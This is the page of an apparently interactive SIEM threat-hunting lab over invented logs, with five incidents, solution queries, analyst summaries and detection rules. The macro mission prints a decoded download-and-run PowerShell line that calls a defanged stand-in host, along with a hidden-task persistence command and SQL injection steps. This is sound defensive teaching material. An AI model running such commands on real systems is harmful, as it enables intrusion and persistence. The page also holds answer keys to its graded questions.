ZEKASTRA Cyber / Labs / Log hunt: query the records Lab
Log hunt: query the records Search a day of invented sign-in, mailbox, web, DNS, proxy and process logs with a SIEM-style query language, then answer the questions of six missions from what you find.
Level: Beginner to intermediate Skills: Log analysis, threat hunting
Runs locally Invented data. Progress is kept only in this browser.
Simulation: invented data
One day at Kuzey Lojistik A.Ş. Thursday 12 March 2026, 00:00–24:00. A 34-person logistics company sends six log sources to its SIEM: sign-ins, mailbox audit, the customer portal, DNS, the web proxy and process creation. Five incidents are hidden among ordinary traffic. Search the logs with the query bar, then answer each mission's questions from what the logs show.
SIEM (security information and event management) is the system that collects logs from many sources so they can be searched together. The query language here is a small subset modelled on the pipe style of SIEM search tools; the guide below lists everything it understands.
Sign-ins –
Mailbox audit –
Customer portal –
DNS –
Web proxy –
Process creation –
Events in the day – This lab runs in your browser and needs JavaScript. The missions and the query guide below can still be read.
Missions 0 of 34 questions answered
Reset progress 0 Warm-up 1 Password spraying 2 Portal attack 3 DNS tunnelling 4 Night upload 5 Macro document
Warm-up: get to know the day Level: Introductory Sources: authweb 4 questions
0/4
Before hunting, an analyst learns what normal looks like: how many events there are, which source is loudest, when the company is busy. Every answer here comes from one short query.
Use the example queries and the field list on the left of the results freely; nothing you run changes the data.
1 How many events does the day contain in total? Solved
Answer Check answer
Hint 1 Hint 2
An empty search matches every event. A pipe followed by count turns the result into a single number.
Run this and read the count column.
| countRun this query
Explanation. 2,962 events across six sources. In a real SIEM this would be a few minutes of a mid-sized company; the size is kept small so every query answers instantly.
Solution query: | countRun it
2 Which source produced the most events? Give its source value. Solved
Answer Check answer
Hint 1 Hint 2
Count per value of the source field.
The first row is the largest.
| count by sourceRun this query
Explanation. web, with 973 events, just ahead of dns. A public portal is the noisiest source in most companies because anyone on the internet can reach it.
Solution query: | count by sourceRun it
3 In which hour (0–23) did the customer portal receive the most requests? Solved
Answer Check answer
Hint 1 Hint 2
Look at the histogram after filtering to source=web, or count by the hour field.
source=webRun this query
This lists the busiest hour first.
source=web | count by hour | sort -count | head 1Run this query
Explanation. 10 (10:00–11:00) with 221 requests, more than twice any other hour. Customers do not suddenly triple their tracking queries mid-morning; mission 2 explains the spike.
Solution query: source=web | count by hour | sort -count | head 1Run it
4 How many failed sign-ins (result=failure) are in the sign-in log? Solved
Answer Check answer
Hint 1 Hint 2
Two field filters and a count.
Run this.
source=auth result=failure | countRun this query
Explanation. 72. Some are people mistyping a password in the morning, some are internet noise against the SSO page, and most come from one address in the early hours. Mission 1 starts there.
Solution query: source=auth result=failure | countRun it
Answer every question in this mission to open the analyst summary.
Analyst summary What happened The day has 2,962 events from six sources. Office activity starts around 07:40 and fades after 18:00; the portal and DNS keep running through the night. Two oddities stand out already: a burst of failed sign-ins in the early hours and a portal spike between 10:00 and 11:00.
Containment and next steps Keep a baseline: event counts per source and per hour on an ordinary day make spikes easy to see. Know your fields before writing rules. A rule on a field that a source never fills will never fire. Detection that would have caught it Hourly volume per source. The ten busiest source-hour pairs. Compare them with an ordinary day before raising an alarm.
| count by source,hour | sort -count | head 10Run the rule
Password spraying and a taken-over mailbox Level: Beginner Sources: authmail 6 questions
0/6
09:50. Müşteri B's finance team calls: they have just received an email from one of our accounting staff saying Kuzey Lojistik's bank account has changed. Nobody in accounting remembers sending it.
Start from the sign-in log. Password spraying means trying one common password against many accounts, so that no single account locks out.
1 Which IP address has the most failed sign-ins? Solved
Answer Check answer
Hint 1 Hint 2
Filter to failed sign-ins, then list the most common source addresses.
source=auth result=failureRun this query
top lists values with their count.
source=auth result=failure | top 5 src_ipRun this query
Explanation. 203.0.113.45 with 59 of the 72 failures (82 %). The next address has two. One address failing against many accounts is the shape of spraying; one account failing from many addresses would be the shape of a distributed attack on a single user.
Solution query: source=auth result=failure | top 5 src_ipRun it
2 How many different user names did that address try? Solved
Answer Check answer
Hint 1 Hint 2
dc means distinct count: the number of different values.
Run this.
source=auth src_ip=203.0.113.45 | dc(user)Run this query
Explanation. 30 names: 24 real accounts and 6 that do not exist (admin, test, info, muhasebe, ik, destek; reason=unknown_user). Each name was tried twice, about half an hour apart, which keeps every account under a typical lockout threshold.
Solution query: source=auth src_ip=203.0.113.45 | dc(user)Run it
3 Which account did the address manage to sign in to? Solved
Answer Check answer
Hint 1 Hint 2
Keep the address and change the result.
source=auth src_ip=203.0.113.45 result=successRun this query
A table in time order makes the sequence clear.
source=auth src_ip=203.0.113.45 result=success | sort time | table time,user,clientRun this query
Explanation. s.aksoy (Selin Aksoy, accounting). Her password failed in the first round at 03:13 and worked in the second. Four successful sign-ins follow from the same address, the last at 09:31.
Solution query: source=auth src_ip=203.0.113.45 result=success | sort time | table time,user,clientRun it
4 Through which client did the first successful sign-in arrive? Give the client value. Solved
Answer Check answer
Hint 1 Hint 2
The client field is in the same table.
Look at the first row of this table.
source=auth src_ip=203.0.113.45 result=success | sort time | table time,user,clientRun this query
Explanation. imap. IMAP and EWS with a plain password are legacy authentication: the server checks the password and never shows the MFA prompt. That is why a correct password was enough, even though the company uses MFA for browser and Outlook sign-ins.
Solution query: source=auth src_ip=203.0.113.45 result=success | sort time | table time,user,clientRun it
5 At what time did that first successful sign-in happen? Write HH:MM:SS. Solved
Answer Check answer
Hint 1 Hint 2
Sort the successful sign-ins of this address by time.
The first row is the earliest.
source=auth src_ip=203.0.113.45 result=success | sort time | table time,user,clientRun this query
Explanation. 03:47:21, in the middle of the second round. The spraying did not stop after the hit; the remaining names were still tried until 03:49, which is typical of automated tools that work through a list.
Solution query: source=auth src_ip=203.0.113.45 result=success | sort time | table time,user,clientRun it
6 The attacker created an inbox rule in the mailbox. To which address does it forward mail? Solved
Answer Check answer
Hint 1 Hint 2
Switch to the mailbox audit source and keep the attacker's address.
source=mail src_ip=203.0.113.45Run this query
Show the rule's details as a table.
source=mail src_ip=203.0.113.45 operation=New-InboxRule | table time,rule_name,rule_condition,forward_to,folderRun this query
Explanation. kl.muhasebe.arsiv@mailbox.example, an outside address dressed up to look like an accounting archive. The rule, named only "..", catches messages containing fatura, ödeme or IBAN, forwards them out and moves them to RSS Feeds, a folder nobody opens. Two other rules created during the day (e.demir, l.tas) come from office addresses and stay inside the company.
Solution query: source=mail src_ip=203.0.113.45 operation=New-InboxRule | table time,rule_name,rule_condition,forward_to,folderRun it
Answer every question in this mission to open the analyst summary.
Analyst summary What happened Between 03:12 and 03:49, 203.0.113.45 tried one password per account against 30 user names over IMAP. In the second round the password of s.aksoy worked (03:47:21). Because IMAP and EWS are legacy protocols without the MFA prompt, the password alone was enough. The attacker then hid a forwarding rule in the mailbox, read 1,240 messages, waited for the working day and at 09:33 sent two "new bank details" emails to customers from the real accounting address, then deleted them from Sent Items.
Timeline 03:12:04 First round of spraying begins: 30 names, one attempt each. 03:41:30 Second round begins. 03:47:21 Successful IMAP sign-in to s.aksoy. 03:52:10 EWS sign-in; the attacker moves to a protocol that can manage rules. 03:55:02 Inbox rule ".." forwards invoice and payment mail outside. 03:58:30 1,240 messages read in bulk. 09:33:40 First fake bank-details email to Müşteri B. 09:36:00 Sent messages moved to Deleted Items. Containment and next steps Reset s.aksoy's password and revoke every active session and token; a new password alone does not end an open EWS session. Delete the ".." rule, then search every mailbox for rules that forward outside the company. Call Müşteri B and Müşteri C on a number you already have, not one from the email: the bank details have not changed. Ask finance whether any payment was redirected. Turn off legacy authentication (IMAP, POP, EWS with basic auth) for the whole tenant. This is the control that would have stopped the sign-in. Block 203.0.113.45 for now, but do not rely on it: spraying tools rotate addresses. Detection that would have caught it Many accounts, one source. Fires when one address fails against ten or more different accounts. In production, count over a one-hour window.
source=auth result=failure | stats dc(user) count by src_ip | where dc(user)>=10Run the rule
Rule that forwards outside. Any new inbox rule whose forwarding address is not a company address.
source=mail operation=New-InboxRule forward_to=* NOT forward_to=*@kuzeylojistik.exampleRun the rule
ATT&CK mapping T1110.003Brute Force: Password Spraying T1078Valid Accounts T1114.003Email Collection: Email Forwarding Rule T1564.008Hide Artifacts: Email Hiding Rules T1656Impersonation Scanning and SQL injection on the customer portal Level: Beginner to intermediate Sources: web 6 questions
0/6
10:50. The developers report that the database server's processor jumped around 10:40 and the shipment tracking page threw errors for a while. The portal, portal.kuzeylojistik.example, is open to the internet so customers can track their shipments.
SQL injection is an attack in which input is written so that it changes the database query behind a page. In access logs it shows up as quotes, comment marks and SQL words in the query string.
1 Which IP address received the most error responses (status 400 or higher)? Solved
Answer Check answer
Hint 1 Hint 2
Numeric comparison works on status.
source=web status>=400Run this query
Then list the most common addresses.
source=web status>=400 | top 5 src_ipRun this query
Explanation. 198.51.100.23 with 99 error responses. The second address, 192.0.2.200, is a search engine crawler (ExampleBot) hitting a few old pages at night: errors, but harmless ones.
Solution query: source=web status>=400 | top 5 src_ipRun it
2 How many different paths did that address request? Solved
Answer Check answer
Hint 1 Hint 2
Distinct count of the path field for this address.
Run this.
source=web src_ip=198.51.100.23 | dc(path)Run this query
Explanation. 93 paths in under three minutes (10:14:03–10:16:58): /.env, /.git/config, /backup.zip, /phpmyadmin/ and so on. Nobody browses like this; it is a wordlist scan looking for forgotten files and admin panels. A customer needs four or five paths.
Solution query: source=web src_ip=198.51.100.23 | dc(path)Run it
3 Which tool's name appears in the user agent of the requests to /track? Solved
Answer Check answer
Hint 1 Hint 2
Narrow to the tracking page and look at user_agent.
source=web src_ip=198.51.100.23 path=/trackRun this query
Run this.
source=web src_ip=198.51.100.23 path=/track | top user_agentRun this query
Explanation. sqlmap, an open-source tool that automates SQL injection testing. The scan phase announced itself as gobuster. Attackers can change a user agent at will, so treat it as a clue, never as proof; here it matches what the query strings show.
Solution query: source=web src_ip=198.51.100.23 path=/track | top user_agentRun it
4 Which query string parameter was being manipulated? Solved
Answer Check answer
Hint 1 Hint 2
Show the query strings sent to /track as a table.
The parameter name is before the equals sign.
source=web src_ip=198.51.100.23 path=/track | table time,query,status,bytesRun this query
Explanation. shipment. The value starts as a normal tracking number (KL-104233) and then gets a quote, AND 1=1 style true/false tests, ORDER BY to count columns and finally UNION SELECT to pull other tables into the page.
Solution query: source=web src_ip=198.51.100.23 path=/track | table time,query,status,bytesRun it
5 How many of that address's requests ended with status 500? Solved
Answer Check answer
Hint 1 Hint 2
500 is a server error: the database query broke.
Run this.
source=web src_ip=198.51.100.23 status=500 | countRun this query
Explanation. 10. Each 500 is a query the injected input broke. Error responses are how the tool learns the shape of the database query, which is why the page should never pass database errors to the visitor.
Solution query: source=web src_ip=198.51.100.23 status=500 | countRun it
6 One successful response was far larger than the others. How many bytes was it? Solved
Answer Check answer
Hint 1 Hint 2
Sort the attacker's successful responses by size, largest first.
source=web src_ip=198.51.100.23 status=200 | sort -bytesRun this query
Keep only the top row.
source=web src_ip=198.51.100.23 status=200 | sort -bytes | head 1 | table time,query,bytesRun this query
Explanation. 1,482,960 bytes at 10:43:08, for a UNION SELECT over the customers table (name, email, phone, IBAN). A normal tracking page is 4–8 KB. The size is the strongest sign in the log that customer data actually left the server, which turns this from an attempt into a personal data breach.
Solution query: source=web src_ip=198.51.100.23 status=200 | sort -bytes | head 1 | table time,query,bytesRun it
Answer every question in this mission to open the analyst summary.
Analyst summary What happened 198.51.100.23 first scanned the portal with a wordlist (93 paths, 10:14–10:16). Seventeen minutes later it attacked the shipment parameter of /track with sqlmap: a quote produced errors, true/false tests confirmed the injection, ORDER BY found five columns, UNION SELECT read the database version, the table list and the columns of customers, and at 10:43:08 a 1.48 MB response returned the customer table. Two login attempts at 10:44 failed.
Timeline 10:14:03 Wordlist scan begins (gobuster). 10:16:58 Scan ends after 93 paths. 10:31:12 sqlmap starts testing the shipment parameter. 10:43:08 UNION SELECT over customers returns 1,482,960 bytes. 10:44:41 Last request: a failed login attempt. Containment and next steps Fix the query behind /track with parameterised statements; filtering quotes is not a fix. Until the fix ships, add a WAF rule for the parameter and block 198.51.100.23. Preserve the web server and database logs and a database snapshot before changing anything else; they show exactly what was read. Give the application's database account only the rights it needs: the tracking page has no reason to read information_schema or the customers table. Customer names, email addresses, phone numbers and IBANs were exposed. Involve the data protection officer and legal team to assess notification under KVKK article 12(5) (the Board's decision sets 72 hours). Detection that would have caught it Wordlist scan. One address getting errors on twenty or more different paths.
source=web status>=400 | stats dc(path) count by src_ip | where dc(path)>=20Run the rule
SQL keywords in the query string. Requests whose query string carries SQL syntax, with the largest response each address received.
source=web (query="*UNION*SELECT*" OR query="*ORDER BY*" OR query="*' AND *") | stats count max(bytes) by src_ipRun the rule
ATT&CK mapping T1595.003Active Scanning: Wordlist Scanning T1190Exploit Public-Facing Application Data hidden in DNS lookups Level: Intermediate Sources: dnsprocessproxy 6 questions
0/6
16:10. The network team notices that the internal DNS resolver forwarded an unusual number of TXT lookups to the internet this afternoon. The proxy shows nothing out of place.
DNS tunnelling packs data into the names being looked up, for example a long random label in front of a domain the attacker controls. Every lookup reaches the attacker's name server, even from networks that block direct internet access.
1 Which domain was queried with the most different names? Solved
Answer Check answer
Hint 1 Hint 2
Count distinct query names per domain. A normal domain has a handful.
Run this.
source=dns | dc(query) by domain | head 5Run this query
Explanation. exfil.example with 262 different names. Next comes example.net with 15, most of them CDN addresses. Counting unique subdomains per domain is one of the most reliable tunnelling signs, because legitimate services reuse the same few names.
Solution query: source=dns | dc(query) by domain | head 5Run it
2 Which internal computer sent these lookups? Solved
Answer Check answer
Hint 1 Hint 2
Filter on the domain and list the hosts.
Run this.
source=dns domain=exfil.example | top hostRun this query
Explanation. KL-WS-031, the workstation of Tolga Çetin in planning. Every lookup comes from this one computer: 100 % of them.
Solution query: source=dns domain=exfil.example | top hostRun it
3 How many lookups went to this domain? Solved
Answer Check answer
Hint 1 Hint 2
Count the events for the domain.
Run this.
source=dns domain=exfil.example | countRun this query
Explanation. 262: one A lookup for init.exfil.example at 13:05:14, then one TXT lookup roughly every 26–48 seconds until 15:45. The steady rhythm without lunch or meetings is another sign that a program, not a person, is at work.
Solution query: source=dns domain=exfil.example | countRun it
4 Which record type do almost all of these lookups use? Solved
Answer Check answer
Hint 1 Hint 2
Run this.
source=dns domain=exfil.example | top qtypeRun this query
Explanation. TXT, in 261 of 262 lookups. TXT records can carry free text in the answer, so they give the tunnel a return channel. Ordinary office computers rarely ask for TXT records outside mail and domain verification checks.
Solution query: source=dns domain=exfil.example | top qtypeRun it
5 How many characters long is the longest name queried in this domain? Solved
Answer Check answer
Hint 1 Hint 2
The qlen field holds the length of the queried name. max() gives the largest.
Run this, then compare with: source=dns domain!=exfil.example | stats max(qlen) avg(qlen)
source=dns domain=exfil.example | stats max(qlen)Run this query
Explanation. 103 characters. Every other name in the day is at most 42 characters long, 22 on average. Long names made of the letters a–z and digits 2–7 suggest Base32 encoding: about five bits of data per character.
Solution query: source=dns domain=exfil.example | stats max(qlen)Run it
6 Which program started on that computer shortly before the first lookup? Solved
Answer Check answer
Hint 1 Hint 2
Switch to process creation, keep the host, and narrow the time to a few minutes before 13:05.
source=process host=KL-WS-031Run this query
Run this.
source=process host=KL-WS-031 earliest=12:55 latest=13:06 | table time,image,parent,cmdlineRun this query
Explanation. dnshelper.exe, started at 13:04:51 from the Downloads folder by double-click (parent explorer.exe). The proxy shows where it came from: at 12:58:20 t.cetin downloaded 2.4 MB from tools.freeware.example (category software-downloads).
Solution query: source=process host=KL-WS-031 earliest=12:55 latest=13:06 | table time,image,parent,cmdlineRun it
Answer every question in this mission to open the analyst summary.
Analyst summary What happened At 12:58 t.cetin downloaded a tool from tools.freeware.example and ran it at 13:04. From 13:05 to 15:45 the program sent 262 lookups to exfil.example: random Base32 labels up to 103 characters long, almost all TXT, at a machine-like rhythm. Each label carries roughly 40–60 bytes, so the total is in the order of ten kilobytes: small, but enough for passwords, keys or a document. The proxy saw nothing because the data travelled as DNS through the company's own resolver.
Timeline 12:58:20 Download from tools.freeware.example (2.4 MB). 13:04:51 dnshelper.exe starts on KL-WS-031. 13:05:14 First lookup: init.exfil.example. 13:05:40 TXT lookups with long random names begin. 15:45:39 The last lookup. Containment and next steps Isolate KL-WS-031 from the network, keeping it powered on so memory can be collected. Collect dnshelper.exe and its hash, then sinkhole exfil.example and tools.freeware.example on the resolver. Search all DNS logs for both domains: one computer is rarely alone. Find out what the workstation held and what the user could reach; treat secrets used on it as exposed and change them. Allow software installation only from an approved list, and make sure workstations can reach DNS only through the internal resolver. Detection that would have caught it Many unique names under one domain. A host asking for fifty or more different names under the same domain in a day.
source=dns | stats dc(query) count by domain,host | where dc(query)>=50Run the rule
Unusually long names. Names of 60 characters or more. Tune the threshold to your own CDN and security products.
source=dns qlen>=60 | stats count by host,domainRun the rule
ATT&CK mapping T1204.002User Execution: Malicious File T1071.004Application Layer Protocol: DNS T1132.001Data Encoding: Standard Encoding A large upload after hours Level: Intermediate Sources: proxyauthprocess 6 questions
0/6
Friday morning. HR mentions that someone in sales handed in their resignation this week. There is no data loss prevention (DLP) product; the proxy and VPN logs are the only view you have.
Find out whether a large amount of data left the company after working hours on 12 March, who sent it and where.
1 After 20:00, which user sent the most bytes through the proxy? Solved
Answer Check answer
Hint 1 Hint 2
Set the time range with earliest, then add up bytes_out per user.
source=proxy earliest=20:00Run this query
Run this.
source=proxy earliest=20:00 | sum(bytes_out) by userRun this query
Explanation. k.ozturk (Kerem Öztürk, sales) with about 4.2 billion bytes. Everyone else who worked late sent a few kilobytes. bytes_out is the direction that matters for data loss; bytes_in is what came back.
Solution query: source=proxy earliest=20:00 | sum(bytes_out) by userRun it
2 To which domain did most of that data go? Solved
Answer Check answer
Hint 1 Hint 2
Group the same user's evening traffic by destination.
Run this.
source=proxy user=k.ozturk earliest=20:00 | stats sum(bytes_out) count by url_domain,actionRun this query
Explanation. files.sharebox.example. It is an approved file-sharing service that seven other people used during the day for files of 2–14 MB, so blocking by category or domain would not have stopped this. Time, volume and the user's situation are what make it stand out.
Solution query: source=proxy user=k.ozturk earliest=20:00 | stats sum(bytes_out) count by url_domain,actionRun it
3 How many upload requests did he send to it after 20:00? Solved
Answer Check answer
Hint 1 Hint 2
Add the domain to the filter and count.
Run this.
source=proxy user=k.ozturk url_domain=files.sharebox.example earliest=20:00 | countRun this query
Explanation. 14 PUT requests between 22:41 and 23:14, each 180–410 MB. The sizes match the 400 MB volumes that 7-Zip was told to create at 22:39:55 (7z.exe a -v400m ... D:\Satis\Musteri_Teklifleri).
Solution query: source=proxy user=k.ozturk url_domain=files.sharebox.example earliest=20:00 | countRun it
4 How many bytes did these uploads add up to? Solved
Answer Check answer
Hint 1 Hint 2
sum() adds the values of a field.
Run this. You can paste the number with or without separators.
source=proxy user=k.ozturk url_domain=files.sharebox.example earliest=20:00 | stats sum(bytes_out)Run this query
Explanation. 4,209,033,216 bytes, about 4.2 GB, in 33 minutes. For scale, the seven daytime users together sent about 51 MB to the same service.
Solution query: source=proxy user=k.ozturk url_domain=files.sharebox.example earliest=20:00 | stats sum(bytes_out)Run it
5 Before that, the proxy blocked two uploads from him. To which domain? Solved
Answer Check answer
Hint 1 Hint 2
Filter on action=blocked for this user.
Run this.
source=proxy user=k.ozturk action=blocked | table time,url_domain,categoryRun this query
Explanation. upload.quickdrop.example at 22:35 and 22:36, an unapproved service on the block list. Trying a blocked service first and switching to an allowed one minutes later shows intent: the policy worked once and was then walked around.
Solution query: source=proxy user=k.ozturk action=blocked | table time,url_domain,categoryRun it
6 At what time did he connect over VPN that evening? Write HH:MM:SS. Solved
Answer Check answer
Hint 1 Hint 2
The VPN connection is in the sign-in log.
source=auth user=k.ozturkRun this query
Run this.
source=auth user=k.ozturk method=vpn | table time,src_ip,countryRun this query
Explanation. 22:30:12 from 198.51.100.156, a home connection in Türkiye. His laptop then appears in the proxy with the VPN pool address 10.30.0.26 instead of his office address 10.20.1.26, which is how the two logs fit together.
Solution query: source=auth user=k.ozturk method=vpn | table time,src_ip,countryRun it
Answer every question in this mission to open the analyst summary.
Analyst summary What happened A sales employee who had resigned connected over VPN at 22:30, was blocked twice by the proxy when trying upload.quickdrop.example, packed the sales offers folder into 400 MB pieces with 7-Zip and between 22:41 and 23:14 uploaded 14 pieces, 4.2 GB in total, to the approved file-sharing service. Nothing here needed malware or stolen credentials: it is an insider using legitimate access.
Timeline 22:30:12 VPN connection from home. 22:35:40 Upload to upload.quickdrop.example blocked. 22:39:55 7-Zip packs D:\Satis\Musteri_Teklifleri into 400 MB volumes. 22:41:10 First of 14 uploads to files.sharebox.example. 23:14:01 Last upload; 4.2 GB in total. Containment and next steps Inform HR and legal before speaking to the employee; how the conversation goes affects what you can recover. Preserve proxy, VPN and workstation logs and an image of the laptop. Together with HR, limit his VPN and file-share access for the remaining notice period. If files.sharebox.example is a company tenant, its administrator can see the uploaded files and revoke any sharing links; if it is a personal account, legal has to lead. Check whether the offers contain personal data of customer contacts; if so, the KVKK assessment applies here as well. Detection that would have caught it Large after-hours upload. More than 500 MB sent by one user to one destination after 20:00. Comparing each user with their own usual volume works even better.
source=proxy earliest=20:00 | stats sum(bytes_out) count by user,url_domain | where sum(bytes_out)>=500000000Run the rule
Blocked, then allowed. A user who hit a blocked file-sharing site and also used an allowed one.
source=proxy category=file-sharing | stats dc(url_domain) dc(action) count by user | where dc(action)>=2Run the rule
ATT&CK mapping T1560.001Archive Collected Data: Archive via Utility T1567.002Exfiltration Over Web Service: Exfiltration to Cloud Storage An invoice that started PowerShell Level: Intermediate to advanced Sources: processdnsproxymail 6 questions
0/6
11:40. Someone in purchasing calls the help desk: an invoice from a supplier "would not open properly" around half past eleven. Workstations send process creation events to the SIEM; there is no EDR on them yet.
EDR (endpoint detection and response) records and blocks suspicious behaviour on a computer. Without it, the parent–child relationship between processes is the main clue: Word has no reason to start a command shell.
1 Which program started PowerShell least often, and so stands out? Solved
Answer Check answer
Hint 1 Hint 2
Look at the parent of every powershell.exe start.
source=process image=powershell.exe | top parentRun this query
rare lists the least common values first.
source=process image=powershell.exe | rare parentRun this query
Explanation. WINWORD.EXE, once. The other parents are explained: explorer.exe is the IT team running their scripts by hand and CcmExec.exe is the software management agent on a server. Rare is not the same as malicious, but a document editor starting a shell almost always deserves a look.
Solution query: source=process image=powershell.exe | rare parentRun it
2 On which computer did this happen? Solved
Answer Check answer
Hint 1 Hint 2
Filter on both image and parent.
Run this.
source=process image=powershell.exe parent=WINWORD.EXE | table time,host,user,cmdlineRun this query
Explanation. KL-WS-022, Murat Çelik's workstation in purchasing, at 11:27:05. The command line has -NoP (no profile), -W Hidden (no window) and -Enc followed by Base64: three options that ordinary users never type. Open the event's details to decode it.
Solution query: source=process image=powershell.exe parent=WINWORD.EXE | table time,host,user,cmdlineRun it
3 Which file did Word open just before? Give the file name. Solved
Answer Check answer
Hint 1 Hint 2
Look at WINWORD.EXE starts on the same computer.
source=process host=KL-WS-022 image=WINWORD.EXERun this query
The one started by Outlook is the attachment.
source=process host=KL-WS-022 image=WINWORD.EXE parent=OUTLOOK.EXE | table time,cmdlineRun this query
Explanation. Fatura_2026-03.docm, opened from Outlook's temporary attachment folder at 11:26:40. The .docm extension means a Word document that contains macros; invoices are not normally sent that way. The other Word start on this computer (13:40, Fiyat_listesi.docx from Documents) is ordinary.
Solution query: source=process host=KL-WS-022 image=WINWORD.EXE parent=OUTLOOK.EXE | table time,cmdlineRun it
4 Which domain did PowerShell contact? Solved
Answer Check answer
Hint 1 Hint 2
Either decode the -Enc value in the event details, or look at DNS from the same computer in the minutes after 11:27.
source=dns host=KL-WS-022Run this query
Run this.
source=dns host=KL-WS-022 earliest=11:27 latest=11:30 | table time,query,answerRun this query
Explanation. cdn-update.example, resolved to 203.0.113.80 one second after PowerShell started. The decoded command reads IEX (New-Object Net.WebClient).DownloadString('hxxp://cdn-update[.]example/k.ps1'): download a script and run it in memory without writing a file. The proxy shows 48,213 bytes coming back, category uncategorized.
Solution query: source=dns host=KL-WS-022 earliest=11:27 latest=11:30 | table time,query,answerRun it
5 PowerShell created a scheduled task to survive a restart. What is the task's name? Solved
Answer Check answer
Hint 1 Hint 2
Scheduled tasks are created with schtasks.exe.
The name comes after /TN.
source=process host=KL-WS-022 image=schtasks.exe | table time,cmdlineRun this query
Explanation. WinSyncHelper, set to run C:\Users\Public\sync.ps1 hidden at every logon (/SC ONLOGON). A name that sounds like part of Windows is a common way to make persistence blend in.
Solution query: source=process host=KL-WS-022 image=schtasks.exe | table time,cmdlineRun it
6 Right after the task, PowerShell ran one more program to learn about the user. Which program? Solved
Answer Check answer
Hint 1 Hint 2
List everything PowerShell started on that computer.
Run this.
source=process host=KL-WS-022 parent=powershell.exe | table time,image,cmdlineRun this query
Explanation. whoami.exe with /all, at 11:27:12: it prints the user, their groups and privileges. Attackers run it to decide whether the account is worth more than this one computer, for example whether it is a local administrator.
Solution query: source=process host=KL-WS-022 parent=powershell.exe | table time,image,cmdlineRun it
Answer every question in this mission to open the analyst summary.
Analyst summary What happened At 11:26 m.celik opened Fatura_2026-03.docm from an email. The document's macro started a hidden PowerShell with an encoded command, which downloaded a script from cdn-update.example and ran it in memory (11:27:05–07). Within seven seconds the script set up a scheduled task called WinSyncHelper to run again at every logon and checked the user's privileges with whoami. This is the opening of a typical intrusion: initial access, execution, persistence, discovery. The next steps would usually be credential theft and lateral movement.
Timeline 11:24:58 m.celik opens the message. 11:26:40 Word opens Fatura_2026-03.docm. 11:27:05 Word starts hidden PowerShell with an encoded command. 11:27:06 DNS lookup of cdn-update.example. 11:27:07 48 KB script downloaded through the proxy. 11:27:09 Scheduled task WinSyncHelper created. 11:27:12 whoami /all. Containment and next steps Isolate KL-WS-022. Collect the task, C:\Users\Public\sync.ps1 and the .docm before deleting them. Block cdn-update.example and 203.0.113.80 at the proxy and DNS. Find the same email (sender, subject, attachment name) in every mailbox and remove it; ask who else opened it. Reset m.celik's password from a clean computer and watch for the account elsewhere. Block macros in files from the internet by policy, and turn on the attack surface reduction rule that blocks Office applications from creating child processes. Detection that would have caught it Office starts a shell. Any command shell or script host started by an Office application.
source=process (parent=WINWORD.EXE OR parent=EXCEL.EXE OR parent=OUTLOOK.EXE OR parent=POWERPNT.EXE) (image=powershell.exe OR image=cmd.exe OR image=wscript.exe OR image=mshta.exe)Run the rule
Encoded PowerShell outside management tools. Encoded commands are normal for some management agents; exclude the ones you know and look at the rest.
source=process image=powershell.exe cmdline="*-enc*" parent!=CcmExec.exeRun the rule
ATT&CK mapping T1566.001Phishing: Spearphishing Attachment T1204.002User Execution: Malicious File T1059.001Command and Scripting Interpreter: PowerShell T1027Obfuscated Files or Information T1105Ingress Tool Transfer T1053.005Scheduled Task/Job: Scheduled Task T1033System Owner/User Discovery Search Example queries
Failed sign-ins by address Portal errors by status Admin paths TXT lookups by host Uploads after 20:00 What starts PowerShell New inbox rules Blocked by the proxy
Events per hour Select an hour to narrow the search to it; select it again to clear.
00 06 12 18 24
Hide fields Fields Most common values among the matched events. Add one as a filter or exclude it.
Query language guide Search Syntax Meaning Example wordEvents that contain the word in any field. Case does not matter. powershellTry "two words"A phrase with spaces, searched as one piece. "banka hesap"Try field=valueThe field equals the value exactly (case-insensitive). source=auth result=failureTry field!=valueThe field exists and differs from the value. NOT field=value also returns events that lack the field. source=proxy action!=allowedTry field>n < >= <=Numeric comparison. Times such as 09:30 can be compared too. source=web bytes>100000Try *Wildcard: any number of characters. field=* means the field exists. source=web path=*admin*Try AND, OR, NOT, ( )Terms side by side are joined with AND. OR and NOT are written in capitals; parentheses group them. source=process (parent=WINWORD.EXE OR parent=EXCEL.EXE)Try earliest= latest=Time range for the whole search. earliest is included, latest is not. source=proxy earliest=20:00 latest=24:00Try
Commands after a pipe | Syntax Meaning Example | count | count by fNumber of results, in total or per value of a field. source=auth | count by resultTry | top N f | rare N fMost (or least) common values with count and percentage. N defaults to 10. source=web | top 5 src_ipTry | dc(f) by gDistinct count: how many different values f takes for each g. source=auth result=failure | dc(user) by src_ipTry | stats sum(f) avg(f) min(f) max(f) count by gSeveral calculations at once. The result is sorted by the first one, largest first. source=proxy | stats sum(bytes_out) count by userTry | sort -f | sort fSorts by a field; a minus sign means largest first. Several fields can be given. source=web | sort -bytesTry | table f1,f2Keeps only these columns, in this order. source=mail | table time,user,operationTry | head N | tail NFirst or last N results (default 10). Events are listed newest first. source=dns | sort -qlen | head 5Try | dedup fKeeps the first result for each value of the field. source=auth result=success | dedup userTry | where conditionFilters calculated rows with the same syntax as the search. source=auth result=failure | dc(user) by src_ip | where dc(user)>=10Try
Log sources and their fields source Log source: auth, mail, web, dns, proxy, processtime Time of the event, HH:MM:SShour Hour of the event, 0–23 (calculated)
source=authSign-ins Windows logons, single sign-on (SSO) to company apps and VPN connections.
userAccount name
src_ipAddress the sign-in came from
resultsuccess or failure
methodwindows, sso or vpn
appApp reached through SSO: mail, portal, erp, hr
clientbrowser, outlook, mobile, vpn-client, or the legacy protocols imap and ews, which accept a password without the MFA prompt
countryCountry code from a simulated GeoIP lookup
reasonWhy it failed: bad_password, unknown_user, mfa_denied
hostComputer name for Windows logons source=mailMailbox audit What was done inside mailboxes: messages sent, items read, rules created.
operationWhat was done: Send, MailItemsAccessed, New-InboxRule or MoveToDeletedItems
rule_nameName of an inbox rule
rule_conditionWhen the rule fires
forward_toWhere the rule forwards mail
folderFolder involved
subjectSubject of a sent message
recipientRecipient of a sent message
itemsNumber of items touched source=webCustomer portal nginx access log of portal.kuzeylojistik.example. The SIEM stores the query string already URL-decoded.
methodHTTP method
pathRequested path
queryQuery string
statusHTTP status code
bytesSize of the response
user_agentClient software as it announces itself source=dnsDNS Query log of the internal DNS resolver.
hostComputer that asked
queryName that was looked up
qtypeRecord type: A, AAAA, TXT, SRV
rcodeNOERROR or NXDOMAIN (name does not exist)
answerAnswer returned
domainRegistered domain, the last two labels of the name
qlenLength of the queried name in characters source=proxyWeb proxy Every web request from staff computers passes through the proxy, which applies the category policy.
url_domainDestination domain
